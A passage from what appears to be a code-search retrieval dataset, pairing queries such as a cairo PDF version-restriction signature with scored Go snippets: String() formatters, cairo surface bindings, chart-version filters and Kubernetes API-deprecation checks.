"docid": "369dc076ba7b7d7cd192a56ffcf1333e", "score": "0.5561649", "text": "func (a *Attribute) String() string {\n\treturn fmt.Sprintf(\"%s:%v\", a.Name, a.Values)\n}", "title": "" }, { "docid": "f82b31feba9aa1633ba7aad26b9e0814", "score": "0.5561258", "text": "func (s TransformParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1883279ec3e9d93f5fea5336ba153769", "score": "0.5561151", "text": "func (s CreateGroupMembershipOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "82a715c0bf7bed9a15de98a6d323a0ab", "score": "0.5556624", "text": "func (s UpdateSAMLProviderOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c3bbd5dae6f605d5554fa7ae6f1b15bc", "score": "0.555436", "text": "func (v *Field) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [2]string\n\ti := 0\n\tif v.Name != nil {\n\t\tfields[i] = fmt.Sprintf(\"Name: %v\", *(v.Name))\n\t\ti++\n\t}\n\tif v.Value != nil {\n\t\tfields[i] = fmt.Sprintf(\"Value: %v\", v.Value)\n\t\ti++\n\t}\n\n\treturn fmt.Sprintf(\"Field{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "d51664023c49fb40ffedd877f58adc82", "score": "0.5553557", "text": "func (cp *ChanPrivs) String() string {\n\tif cp == nil {\n\t\treturn \"No modes set\"\n\t}\n\tstr := \"+\"\n\tv := reflect.Indirect(reflect.ValueOf(cp))\n\tt := v.Type()\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tswitch f := v.Field(i); f.Kind() {\n\t\t// only bools here at the mo too!\n\t\tcase reflect.Bool:\n\t\t\tif f.Bool() {\n\t\t\t\tstr += ChanPrivToString[t.Field(i).Name]\n\t\t\t}\n\t\t}\n\t}\n\tif str == \"+\" {\n\t\tstr = \"No modes set\"\n\t}\n\treturn str\n}", "title": "" }, { "docid": "76891d2ef105ca81babcca9ea7376bca", "score": "0.5552551", "text": "func (v ParamType) String() string {\n\tswitch v {\n\tcase ParamBody:\n\t\treturn \"body\"\n\tcase ParamParam:\n\t\treturn \"param\"\n\tcase ParamQuery:\n\t\treturn \"query\"\n\tcase ParamHeader:\n\t\treturn \"header\"\n\tcase ParamCookie:\n\t\treturn \"cookie\"\n\t}\n\treturn \"unknown\"\n}", "title": "" }, { "docid": "fc75b70ad02a634b15de40bd08893745", "score": "0.5551885", "text": "func (s SkewedInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "9a2a32846e9d15057aac9e2f35e87213", "score": "0.55518013", "text": "func String(name, val string) Field {\n\treturn Field(zap.String(name, val))\n}", "title": "" }, { "docid": "d9a42dd995b640336b501f132bc80850", "score": "0.5545748", "text": "func (s IdentityUsage) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e727fa0658f75ea852d6b58e960ddaa3", "score": "0.55436885", "text": "func (o AggrCheckAttributesType) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "00c1163767d3abb1b5bb0ff4add08f28", "score": "0.5540214", "text": "func (s InstanceInformationFilter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "bee1fb6bd8a93238c04f815d04cc864e", "score": "0.5539031", "text": "func (f *Field) String() string {\n\treturn `{\"name\":\"` + f.name + `\",\"type\":` + f.typ.String() + `}`\n}", "title": "" }, { "docid": "f1562905de983ed2b0459de7a2f88a77", "score": "0.55349445", "text": "func (v value) String() string {\n\tif v.ptr {\n\t\treturn \"*\" + v.name\n\t} else {\n\t\treturn v.name\n\t}\n}", "title": "" }, { "docid": "6e642bb0d7426f5c3dbbe95b6314e9a5", "score": "0.55340165", "text": "func (params Params) String() string {\n\treturn fmt.Sprintf(`Oracle Params:\n VotePeriod: %d\n VoteThreshold: %s\n\tRewardBand: %s\n\tRewardDistributionWindow: %d\n\tWhitelist %s\n\tSlashFraction %s\n\tSlashWindow %d\n\tMinValidPerWindow %s\n\t`, params.VotePeriod, params.VoteThreshold, params.RewardBand,\n\t\tparams.RewardDistributionWindow, params.Whitelist,\n\t\tparams.SlashFraction, params.SlashWindow, params.MinValidPerWindow)\n}", "title": "" }, { "docid": "50f66dd3c5ee3d58d139540cb5aeebf8", "score": "0.55309904", "text": "func (v *AdminService_AddSearchAttribute_Args) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [1]string\n\ti := 0\n\tif v.Request != nil {\n\t\tfields[i] = fmt.Sprintf(\"Request: %v\", v.Request)\n\t\ti++\n\t}\n\n\treturn fmt.Sprintf(\"AdminService_AddSearchAttribute_Args{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "760628dc9ce8e728fea11124a7582dc6", "score": "0.5529957", "text": "func (params Params) String() string {\n\treturn fmt.Sprintf(`Treasury Params:\n\tBasePool:\t\t %d\n\tPoolRecoveryPeriod: %d\n\tMinSpread: \t\t\t%s\n\tTobinTax: %s\n\t`, params.BasePool, params.PoolRecoveryPeriod, params.MinSpread, params.TobinTax)\n}", "title": "" }, { "docid": "84f5ec75482b37ba0bf144c02525a129", "score": "0.5523046", "text": "func (sk *PrivKey) String(name string) string {\n\treturn name + \"{-}\"\n}", "title": "" }, { "docid": "1faad40b091e6e266beeec4c155da274", "score": "0.55208117", "text": "func (msg MsgAddAttributeRequest) String() string {\n\tout, _ := yaml.Marshal(msg)\n\treturn string(out)\n}", "title": "" }, { "docid": "96e11bbfa1fd1ea8d6633d02461c51f3", "score": "0.55175495", "text": "func (o *Trustmembercreate) String() string {\n \n o.RoleIds = []string{\"\"} \n \n\n j, _ := json.Marshal(o)\n str, _ := strconv.Unquote(strings.Replace(strconv.Quote(string(j)), `\\\\u`, `\\u`, -1))\n\n return str\n}", "title": "" }, { "docid": "9ef5e2dda42ffa38cd7f17febde080e3", "score": "0.5514045", "text": "func (s ModifyCacheParameterGroupOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5114245045380264003690e12b8813f9", "score": "0.55114394", "text": "func (wfn WellFormedName) String() string {\n\ts := \"wfn:[\"\n\tfor _, attr := range attributes {\n\t\ts += fmt.Sprintf(\"%s=\", attr)\n\t\to := wfn.Get(attr)\n\t\tif lv, ok := o.(LogicalValue); ok {\n\t\t\ts += fmt.Sprintf(\"%s, \", lv)\n\t\t} else {\n\t\t\ts += fmt.Sprintf(\"\\\"%s\\\", \", o)\n\t\t}\n\t}\n\ts = strings.TrimSpace(s)\n\ts = strings.TrimRight(s, \",\")\n\ts += \"]\"\n\treturn s\n}", "title": "" }, { "docid": "cb53a1c9095f78a429dfd14395096199", "score": "0.55006593", "text": "func (s KeyUsageProperty) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6c2079aa9a43306556dcdb122c5d7a36", "score": "0.55002975", "text": "func (p Params) String() string {\n\tvar sb strings.Builder\n\tsb.WriteString(\"Params: \\n\")\n\tsb.WriteString(fmt.Sprintf(\"PeggyID: %d\\n\", p.PeggyID))\n\tsb.WriteString(fmt.Sprintf(\"ContractHash: %d\\n\", p.ContractHash))\n\tsb.WriteString(fmt.Sprintf(\"StartThreshold: %d\\n\", p.StartThreshold))\n\tsb.WriteString(fmt.Sprintf(\"BridgeContractAddress: %s\\n\", p.BridgeContractAddress.String()))\n\tsb.WriteString(fmt.Sprintf(\"BridgeChainID: %d\\n\", p.BridgeChainID))\n\treturn sb.String()\n}", "title": "" }, { "docid": "e8f533f723673421e9235d139ac42475", "score": "0.54978204", "text": "func (s VpcSecurityGroupMembership) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e8f533f723673421e9235d139ac42475", "score": "0.54978204", "text": "func (s VpcSecurityGroupMembership) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
53249113347da7ed41935a4093ab3117
void cairo_pdf_surface_restrict_to_version (cairo_surface_t surface, cairo_pdf_version_t version);
[ { "docid": "564cd788cf24bc4a6afd38e93f3dd00b", "score": "0.7860303", "text": "func (this *PDFSurface) RestrictToVersion(version PDFVersion) {\n\tC.cairo_pdf_surface_restrict_to_version(this.c(), version.c())\n}", "title": "" } ]
[ { "docid": "01f591f1d6e0bc87cb6da3a701d0a255", "score": "0.66035366", "text": "func (s Surface) RestrictTo(v version) error {\n\tC.cairo_svg_surface_restrict_to_version(s.XtensionRaw(), v.c())\n\treturn s.Err()\n}", "title": "" }, { "docid": "497b36df225ed1ba4816ac17f071c858", "score": "0.5224869", "text": "func (filterAESV2) PDFVersion() [2]int {\n\treturn [2]int{1, 5}\n}", "title": "" }, { "docid": "dcb395890405e3cb8ca622585b38a0e4", "score": "0.5049123", "text": "func PDFGetVersions() []PDFVersion {\n\tvar versions *C.cairo_pdf_version_t\n\tvar num_versions C.int\n\tC.cairo_pdf_get_versions(&versions, &num_versions)\n\n\tvar out []PDFVersion\n\tif num_versions > 0 {\n\t\tout = make([]PDFVersion, num_versions)\n\t\tfor i := range out {\n\t\t\tout[i] = (*(*[999999]PDFVersion)(unsafe.Pointer(&versions)))[i]\n\t\t}\n\t}\n\treturn out\n}", "title": "" }, { "docid": "463cb2d706d73012adc3cb6debc258da", "score": "0.48610392", "text": "func UlPlatformSetSurfaceDefinition(surface_definition ULSurfaceDefinition) {\n\tcsurface_definition, csurface_definitionAllocMap := surface_definition.PassValue()\n\tC.ulPlatformSetSurfaceDefinition(csurface_definition)\n\truntime.KeepAlive(csurface_definitionAllocMap)\n}", "title": "" }, { "docid": "763a8a59d1c47a874b792a0f4422ba4f", "score": "0.4790633", "text": "func filterOnVersion(sub *appv1.Subscription, indexFile *repo.IndexFile) {\n\tkeys := make([]string, 0)\n\tfor k := range indexFile.Entries {\n\t\tkeys = append(keys, k)\n\t}\n\n\tfor _, k := range keys {\n\t\tchartVersions := indexFile.Entries[k]\n\t\tnewChartVersions := make([]*repo.ChartVersion, 0)\n\n\t\tfor index, chartVersion := range chartVersions {\n\t\t\tif checkKeywords(sub, chartVersion) && checkDigest(sub, chartVersion) && checkVersion(sub, chartVersion) {\n\t\t\t\tnewChartVersions = append(newChartVersions, chartVersions[index])\n\t\t\t}\n\t\t}\n\n\t\tif len(newChartVersions) > 0 {\n\t\t\tindexFile.Entries[k] = newChartVersions\n\t\t} else {\n\t\t\tdelete(indexFile.Entries, k)\n\t\t}\n\t}\n\n\tklog.V(4).Info(\"After version matching:\", indexFile)\n}", "title": "" }, { "docid": "32a603f0121d988dabdd9692cf3172f0", "score": "0.47300643", "text": "func checkVersion(version string, versionConstraint string) error {\n\tv, err := goversion.NewVersion(version)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error: %v\", err)\n\t}\n\n\tc, err := goversion.NewConstraint(versionConstraint)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error: %v\", err)\n\t}\n\n\tif !c.Check(v) {\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unsupported version=%s matches version filter %s\", version, minimumVersionPprofConstraint)\n}", "title": "" }, { "docid": "4e92f526bb697cc98aec15aab14ef53f", "score": "0.4728881", "text": "func (r *ComponentsListProvider) isOnDemandRelease(version string) bool {\n\tisOnDemandVersion := strings.HasPrefix(version, \"PR-\") ||\n\t\tstrings.HasPrefix(version, \"master-\") ||\n\t\tstrings.EqualFold(version, \"master\")\n\treturn isOnDemandVersion\n}", "title": "" }, { "docid": "cf64af029db4b21bd73f375864336662", "score": "0.47280815", "text": "func patchReleaseValidation(provider string, crd *v1.CustomResourceDefinition) {\n\tfor i := range crd.Spec.Versions {\n\t\tcrd.Spec.Versions[i].Schema.OpenAPIV3Schema.Properties[\"metadata\"] = v1.JSONSchemaProps{\n\t\t\tType: \"object\",\n\t\t\tProperties: map[string]v1.JSONSchemaProps{\n\t\t\t\t\"name\": {\n\t\t\t\t\tPattern: \"^v(0|[1-9]\\\\d*)\\\\.(0|[1-9]\\\\d*)\\\\.(0|[1-9]\\\\d*)(-[\\\\.0-9a-zA-Z]*)?$\",\n\t\t\t\t\tType: \"string\",\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n}", "title": "" }, { "docid": "1501420e4c8ada11ed72b96f4b4cdf65", "score": "0.4712759", "text": "func (*Compositor) CreateSurface(id NewId) {\n}", "title": "" }, { "docid": "2aaf5b67e09ce370610ec35a2147b48e", "score": "0.46880534", "text": "func checkVersion(sub *appv1.Subscription, chartVersion *repo.ChartVersion) bool {\n\tif sub.Spec.PackageFilter != nil {\n\t\tif sub.Spec.PackageFilter.Version != \"\" {\n\t\t\tversion := chartVersion.Version\n\t\t\tversionVersion, err := semver.Parse(version)\n\n\t\t\tif err != nil {\n\t\t\t\tklog.Error(err)\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tfilterVersion, err := semver.ParseRange(sub.Spec.PackageFilter.Version)\n\n\t\t\tif err != nil {\n\t\t\t\tklog.Error(err)\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\treturn filterVersion(versionVersion)\n\t\t}\n\t}\n\n\tklog.V(4).Info(\"Version check passed for:\", chartVersion)\n\n\treturn true\n}", "title": "" }, { "docid": "ba5700a4905c40014cd209d0faa6c94c", "score": "0.46862036", "text": "func (this *Context) MaskSurface(surface SurfaceLike, surface_x, surface_y float64) {\n\tC.cairo_mask_surface(this.c(), surface.InheritedFromCairoSurface().c(), C.double(surface_x), C.double(surface_y))\n}", "title": "" }, { "docid": "204ae2a7f585f8a87f484641b26a9e64", "score": "0.46795422", "text": "func (m *Windows10CompliancePolicy) SetDefenderVersion(value *string)() {\n err := m.GetBackingStore().Set(\"defenderVersion\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "d2fd7bde8e27ac0002bc1a6ffc9ea3b2", "score": "0.46217304", "text": "func (m *AndroidManagedAppProtection) SetMinimumRequiredPatchVersion(value *string)() {\n m.minimumRequiredPatchVersion = value\n}", "title": "" }, { "docid": "717ef9e0984db3702e8812f490de57e2", "score": "0.46155518", "text": "func (j xlMetaV2Version) FreeVersion() bool {\n\tswitch j.Type {\n\tcase DeleteType:\n\t\treturn j.DeleteMarker.FreeVersion()\n\t}\n\treturn false\n}", "title": "" }, { "docid": "e7102062f94736d3b7bb830bacba24f3", "score": "0.46066335", "text": "func (m *AndroidManagedAppProtection) SetMinimumWarningPatchVersion(value *string)() {\n m.minimumWarningPatchVersion = value\n}", "title": "" }, { "docid": "77a60fb79d0d611c21817158056e39d5", "score": "0.4599831", "text": "func hasVersion(version string, crdVersion apiextv1.CustomResourceDefinitionVersion) bool {\n\treturn strings.EqualFold(version, crdVersion.Name)\n}", "title": "" }, { "docid": "afcb1283da92db42d4b5fed3f3c7d839", "score": "0.4573644", "text": "func (j xlMetaV2DeleteMarker) FreeVersion() bool {\n\t_, ok := j.MetaSys[ReservedMetadataPrefixLower+freeVersion]\n\treturn ok\n}", "title": "" }, { "docid": "a067b814c11f0c3f678244ccddd96f15", "score": "0.45552564", "text": "func ZoomSurface(src *sdl.Surface, zoomx, zoomy float64, smooth int) *sdl.Surface {\n\t_zoomx := C.double(zoomx)\n\t_zoomy := C.double(zoomy)\n\t_smooth := C.int(smooth)\n\treturn (*sdl.Surface)(unsafe.Pointer(C.zoomSurface((*C.SDL_Surface)(unsafe.Pointer(src)), _zoomx, _zoomy, _smooth)))\n}", "title": "" }, { "docid": "e6e5340222fc675f15d7d38fc19cbec2", "score": "0.4540494", "text": "func versionFilterFunc(fixedAppVersion string) latest.TagFilterFunc {\n\n\tappVersion, err := goversion.NewSemver(fixedAppVersion)\n\tif err != nil {\n\t\t// if the AppVersion can't be parsed, it may be a self compiled version.\n\t\t// => no need to check for updates.\n\n\t\t// filter everything\n\t\treturn func(version string) bool {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tappIsPreRelease := versionIsPreRelease(appVersion)\n\tappVersionMajor := appVersion.Segments()[0]\n\n\t// filter versions based on current AppVersion\n\treturn func(version string) bool {\n\t\tver, err := goversion.NewSemver(fixVersion(version))\n\t\tif err != nil {\n\t\t\t// every version that can't be parsed is ignored.\n\t\t\treturn false\n\t\t}\n\n\t\tif !appIsPreRelease && versionIsPreRelease(ver) {\n\t\t\t// the current AppVersion is not a pre-release.\n\t\t\t// => ignore all pre-releases.\n\t\t\treturn false\n\t\t}\n\n\t\t// we only check for any versions in the same MAJOR version.\n\t\treturn appVersionMajor == ver.Segments()[0]\n\t}\n}", "title": "" }, { "docid": "f19574062f41c5636c3b8c52d2ab15eb", "score": "0.452465", "text": "func NewPDFSurface(filename string, width_in_points, height_in_points float64) *PDFSurface {\n\tcfilename := C.CString(filename)\n\tsurface := (*PDFSurface)(SurfaceWrap(unsafe.Pointer(C.cairo_pdf_surface_create(cfilename, C.double(width_in_points), C.double(height_in_points))), false))\n\tC.free(unsafe.Pointer(cfilename))\n\treturn surface\n}", "title": "" }, { "docid": "84cad4fe674c6af69c2d6f44a339049d", "score": "0.44951883", "text": "func ViewFromSurface(surface Resource, client *C.struct_wl_client, interf *C.struct_wl_interface, implementation unsafe.Pointer, version, id uint32, userdata unsafe.Pointer) View {\n\treturn View(\n\t\tC.wlc_view_from_surface(\n\t\t\tC.wlc_resource(surface),\n\t\t\tclient,\n\t\t\tinterf,\n\t\t\timplementation,\n\t\t\tC.uint32_t(version),\n\t\t\tC.uint32_t(id),\n\t\t\tuserdata,\n\t\t))\n}", "title": "" }, { "docid": "434d228f777934be144a3f37d0c205e0", "score": "0.44899106", "text": "func Version(versionStr string) (PDFVersion, error) {\n\n\tswitch versionStr {\n\tcase \"1.0\":\n\t\treturn V10, nil\n\tcase \"1.1\":\n\t\treturn V11, nil\n\tcase \"1.2\":\n\t\treturn V12, nil\n\tcase \"1.3\":\n\t\treturn V13, nil\n\tcase \"1.4\":\n\t\treturn V14, nil\n\tcase \"1.5\":\n\t\treturn V15, nil\n\tcase \"1.6\":\n\t\treturn V16, nil\n\tcase \"1.7\":\n\t\treturn V17, nil\n\t}\n\n\treturn -1, errors.New(versionStr)\n}", "title": "" }, { "docid": "0e3cdb0d033fa8e7304bdbfa11d3bd51", "score": "0.44563362", "text": "func (this *Surface) MarkDirty() {\n\tC.cairo_surface_mark_dirty(this.c())\n}", "title": "" }, { "docid": "c9926764e290f74cef64fedb868df5f3", "score": "0.4445846", "text": "func (m *WindowsDefenderApplicationControlSupplementalPolicy) SetVersion(value *string)() {\n err := m.GetBackingStore().Set(\"version\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "e6667682e9d99ee96a5673eac8a415b0", "score": "0.442471", "text": "func (s *BaseDCM_2_0_grammarListener) EnterFkt_version(ctx *Fkt_versionContext) {}", "title": "" }, { "docid": "9d637dc8a728134e777a0593725deaba", "score": "0.4422165", "text": "func (*matcher) VersionFilter() {}", "title": "" }, { "docid": "f2dd4e759d8a5b39090b828fbc153650", "score": "0.4421055", "text": "func (op *ItemsGetFileOp) PdfVersion() *ItemsGetFileOp {\n\tif op != nil {\n\t\top.QueryOpts.Set(\"pdf_version\", \"true\")\n\t}\n\treturn op\n}", "title": "" }, { "docid": "fa992892f38301768dc47e3fa67eee35", "score": "0.4418956", "text": "func _versionFunc(tls *crt.TLS, _context *Xsqlite3_context, _NotUsed int32, _NotUsed2 **XMem) {\n\t_ = _NotUsed2\n\n\tXsqlite3_result_text(tls, _context, Xsqlite3_libversion(tls), int32(-1), nil)\n}", "title": "" }, { "docid": "344fa56f59ba35f9b55f72dac397d4dc", "score": "0.44102144", "text": "func VersionString(version PDFVersion) string {\n\treturn \"1.\" + fmt.Sprintf(\"%d\", version)\n}", "title": "" }, { "docid": "a90b11d0650a32391a6f866bd43e137f", "score": "0.44073573", "text": "func versionIsPreRelease(version *goversion.Version) bool {\n\t// version is a pre-release if the string is not empty\n\treturn version.Prerelease() != \"\"\n}", "title": "" }, { "docid": "c2eba5e9511bd2d39667804ee4ce55a5", "score": "0.43996128", "text": "func DestroySurface(dpy Display, surface Surface) Boolean {\n\tcdpy, _ := (C.EGLDisplay)(dpy), cgoAllocsUnknown\n\tcsurface, _ := (C.EGLSurface)(surface), cgoAllocsUnknown\n\t__ret := C.eglDestroySurface(cdpy, csurface)\n\t__v := (Boolean)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "489fc0310d0bddd843572c4dc435a6e4", "score": "0.43714136", "text": "func fixVersion(version string) string {\n\tver := strings.Replace(version, \"v\", \"\", 1)\n\n\tfor _, prerelease := range []string{\"rc\", \"alpha\", \"beta\"} {\n\t\tprerelease = \"-\" + prerelease\n\t\tprereleaseDot := prerelease + \".\"\n\t\tif !strings.Contains(ver, prereleaseDot) {\n\t\t\tver = strings.Replace(ver, prerelease, prereleaseDot, 1)\n\t\t}\n\t}\n\n\treturn ver\n}", "title": "" }, { "docid": "ddd0692b4bfc8b8be92efbc75e2faf6b", "score": "0.43685764", "text": "func ShrinkSurface(src *sdl.Surface, factorx, factory int) *sdl.Surface {\n\t_factorx := C.int(factorx)\n\t_factory := C.int(factory)\n\treturn (*sdl.Surface)(unsafe.Pointer(C.shrinkSurface((*C.SDL_Surface)(unsafe.Pointer(src)), _factorx, _factory)))\n}", "title": "" }, { "docid": "e3facf971d46ff1bc054573cb3dfe3a6", "score": "0.4337489", "text": "func (v *version) Release() {\n\tnewVal := v.ref.Dec()\n\tif newVal == 0 {\n\t\tv.fv.removeVersion(v)\n\t}\n}", "title": "" }, { "docid": "21566db475c59c643cf19867096561da", "score": "0.43301097", "text": "func NewPDFSurfaceForStream(w io.Writer, width_in_points, height_in_points float64) *PDFSurface {\n\tsurface := (*PDFSurface)(SurfaceWrap(unsafe.Pointer(C._cairo_pdf_surface_create_for_stream(unsafe.Pointer(&w),\n\t\tC.double(width_in_points), C.double(height_in_points))), false))\n\treturn surface\n}", "title": "" }, { "docid": "c4a852af17e5b4e642432c309c38140a", "score": "0.43283388", "text": "func checkAPIVersion(kmsClient k8spb.KMSServiceClient) error {\n\tctx, cancel := context.WithTimeout(context.Background(), timeout)\n\tdefer cancel()\n\n\trequest := &k8spb.VersionRequest{Version: version}\n\tresponse, err := kmsClient.Version(ctx, request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed get version from remote KMS provider: %v\", err)\n\t}\n\tif response.Version != version {\n\t\treturn fmt.Errorf(\"KMS provider api version %s is not supported, only %s is supported now\",\n\t\t\tresponse.Version, version)\n\t}\n\n\tfmt.Println(\"KMS provider \", response.RuntimeName, \"initialized, version:\", response.RuntimeVersion)\n\treturn nil\n}", "title": "" }, { "docid": "a02eb12c52ea6f39e218698286243a75", "score": "0.43198404", "text": "func (v *GLContext) SetRequiredVersion(major, minor int) {\n\tC.gdk_gl_context_set_required_version(v.native(), (C.int)(major), (C.int)(minor))\n}", "title": "" }, { "docid": "61689856d9b1715a8a61d28866e4efbf", "score": "0.43073195", "text": "func (m *Windows10EndpointProtectionConfiguration) SetApplicationGuardAllowPrintToPDF(value *bool)() {\n err := m.GetBackingStore().Set(\"applicationGuardAllowPrintToPDF\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "25c5b4db64b6c260ab5ba3a4f77c78e0", "score": "0.42932373", "text": "func (s *BaseDCM_2_0_grammarListener) ExitFkt_version(ctx *Fkt_versionContext) {}", "title": "" }, { "docid": "e125fb9a96d1e8a2de3bc3aee280662a", "score": "0.42859584", "text": "func hasDifferentAPIVersion(versions []string, version string) bool {\n\treturn !(len(versions) == 0 || (len(versions) == 1 && versions[0] == version))\n}", "title": "" }, { "docid": "f4420c6eecf7ff21426b8279b6a41f2e", "score": "0.42669562", "text": "func checkSpecVersion(checks CSVChecks) CSVChecks {\n\t// spec.Version needs to be set\n\tif checks.csv.Spec.Version.Equals(semver.Version{}) {\n\t\tchecks.errs = append(checks.errs, fmt.Errorf(\"csv.Spec.Version must be set\"))\n\t}\n\treturn checks\n}", "title": "" }, { "docid": "0876c1a7539bed87026ffc7ff2201ecc", "score": "0.42552552", "text": "func versionFilter(v, current, target int64) bool {\n\tif target > current {\n\t\treturn v > current && v <= target\n\t}\n\n\tif target < current {\n\t\treturn v <= current && v > target\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "f3456472947fa6f4a603611a79d8b986", "score": "0.42337704", "text": "func (this *Surface) CopyPage() {\n\tC.cairo_surface_copy_page(this.c())\n}", "title": "" }, { "docid": "900392be2e638b1d0b7a6967065033d8", "score": "0.42299575", "text": "func (ghsi *SubscriberItem) filterOnVersion(indexFile *repo.IndexFile) {\n\tkeys := make([]string, 0)\n\tfor k := range indexFile.Entries {\n\t\tkeys = append(keys, k)\n\t}\n\n\tfor _, k := range keys {\n\t\tchartVersions := indexFile.Entries[k]\n\t\tnewChartVersions := make([]*repo.ChartVersion, 0)\n\n\t\tfor index, chartVersion := range chartVersions {\n\t\t\tif ghsi.checkKeywords(chartVersion) && ghsi.checkTillerVersion(chartVersion) && ghsi.checkVersion(chartVersion) {\n\t\t\t\tnewChartVersions = append(newChartVersions, chartVersions[index])\n\t\t\t}\n\t\t}\n\n\t\tif len(newChartVersions) > 0 {\n\t\t\tindexFile.Entries[k] = newChartVersions\n\t\t} else {\n\t\t\tdelete(indexFile.Entries, k)\n\t\t}\n\t}\n\n\tklog.V(4).Info(\"After version matching:\", indexFile)\n}", "title": "" }, { "docid": "0e9ebff280a779cfe105ecc120b4f71f", "score": "0.42235178", "text": "func (n Pep440Comparer) matchVersion(currentVersion, constraint string) (bool, error) {\n\tv, err := version.Parse(currentVersion)\n\tif err != nil {\n\t\treturn false, xerrors.Errorf(\"python version error (%s): %s\", currentVersion, err)\n\t}\n\n\tc, err := version.NewSpecifiers(constraint, version.WithPreRelease(true))\n\tif err != nil {\n\t\treturn false, xerrors.Errorf(\"python constraint error (%s): %s\", constraint, err)\n\t}\n\n\treturn c.Check(v), nil\n}", "title": "" }, { "docid": "a9598258d28d4411d25308c54649410b", "score": "0.4218178", "text": "func (r *CaptureScreenshotRequest) FromSurface(v bool) *CaptureScreenshotRequest {\n\tr.opts[\"fromSurface\"] = v\n\treturn r\n}", "title": "" }, { "docid": "ed7f50dc834706ade52e2a7dbe7cc9f0", "score": "0.42055336", "text": "func UlSurfaceSetDirtyBounds(surface ULSurface, bounds ULIntRect) {\n\tcsurface, csurfaceAllocMap := *(*C.ULSurface)(unsafe.Pointer(&surface)), cgoAllocsUnknown\n\tcbounds, cboundsAllocMap := bounds.PassValue()\n\tC.ulSurfaceSetDirtyBounds(csurface, cbounds)\n\truntime.KeepAlive(cboundsAllocMap)\n\truntime.KeepAlive(csurfaceAllocMap)\n}", "title": "" }, { "docid": "00dcd3c636faaa28b867fa4b5b01dc15", "score": "0.42033938", "text": "func checkRemovedAPIsForVersion(\n\tbundle *manifests.Bundle,\n\tk8sVersionToCheck, semVerVersionProvided, semverMinKube semver.Version,\n\terrs []error, warns []error) ([]error, []error) {\n\n\tfound := map[string][]string{}\n\twarnsFound := map[string][]string{}\n\tswitch k8sVersionToCheck.String() {\n\tcase \"1.22.0\":\n\t\tfound = getRemovedAPIsOn1_22From(bundle)\n\tcase \"1.25.0\":\n\t\tfound, warnsFound = getRemovedAPIsOn1_25From(bundle)\n\tcase \"1.26.0\":\n\t\tfound = getRemovedAPIsOn1_26From(bundle)\n\tdefault:\n\t\tpanic(fmt.Errorf(\"invalid internal call to check the removed apis with the version (%s) which is not supported\", k8sVersionToCheck.String()))\n\t}\n\n\tif len(found) > 0 {\n\t\tdeprecatedAPIsMessage := generateMessageWithDeprecatedAPIs(found)\n\t\tmsg := fmt.Errorf(DeprecateMessage,\n\t\t\tk8sVersionToCheck.Major, k8sVersionToCheck.Minor,\n\t\t\tk8sVersionToCheck.Major, k8sVersionToCheck.Minor,\n\t\t\tdeprecatedAPIsMessage)\n\t\tif isK8sVersionInformedEQ(semVerVersionProvided, k8sVersionToCheck, semverMinKube) {\n\t\t\t// We only raise an error when the version >= 1.26 was informed via\n\t\t\t// the k8s key/value option or is specifically defined in the CSV\n\t\t\terrs = append(errs, msg)\n\t\t} else {\n\t\t\twarns = append(warns, msg)\n\t\t}\n\t}\n\n\tif len(warnsFound) > 0 {\n\t\tdeprecatedAPIsMessage := generateMessageWithDeprecatedAPIs(warnsFound)\n\t\tmsg := fmt.Errorf(DeprecateMessage,\n\t\t\tk8sVersionToCheck.Major, k8sVersionToCheck.Minor,\n\t\t\tk8sVersionToCheck.Major, k8sVersionToCheck.Minor,\n\t\t\tdeprecatedAPIsMessage)\n\t\twarns = append(warns, msg)\n\t}\n\n\treturn errs, warns\n}", "title": "" }, { "docid": "8617fe1fb930158672cf72278e2510fe", "score": "0.4199044", "text": "func freeProvider(ctx context.Context, template *gof.Template) (context.Context, error) {\n\ttemplate.Resources[\"FreeResource\"] = &gofs3.Bucket{\n\t\tBucketName: \"FreeBucket\",\n\t}\n\treturn ctx, nil\n}", "title": "" }, { "docid": "1d34e94ca255f698621cdef5d1eb3ea0", "score": "0.4192268", "text": "func ValidateVersion(allFeatures FeatureList, requestedFeatures map[string]bool, requestedVersion string) error {\n\tif requestedVersion == \"\" {\n\t\treturn nil\n\t}\n\tparsedExpVersion, err := version.ParseSemantic(requestedVersion)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"error parsing version %s\", requestedVersion)\n\t}\n\tfor k := range requestedFeatures {\n\t\tif minVersion := allFeatures[k].MinimumVersion; minVersion != nil {\n\t\t\tif !parsedExpVersion.AtLeast(minVersion) {\n\t\t\t\treturn errors.Errorf(\n\t\t\t\t\t\"the requested Kubernetes version (%s) is incompatible with the %s feature gate, which needs %s as a minimum\",\n\t\t\t\t\trequestedVersion, k, 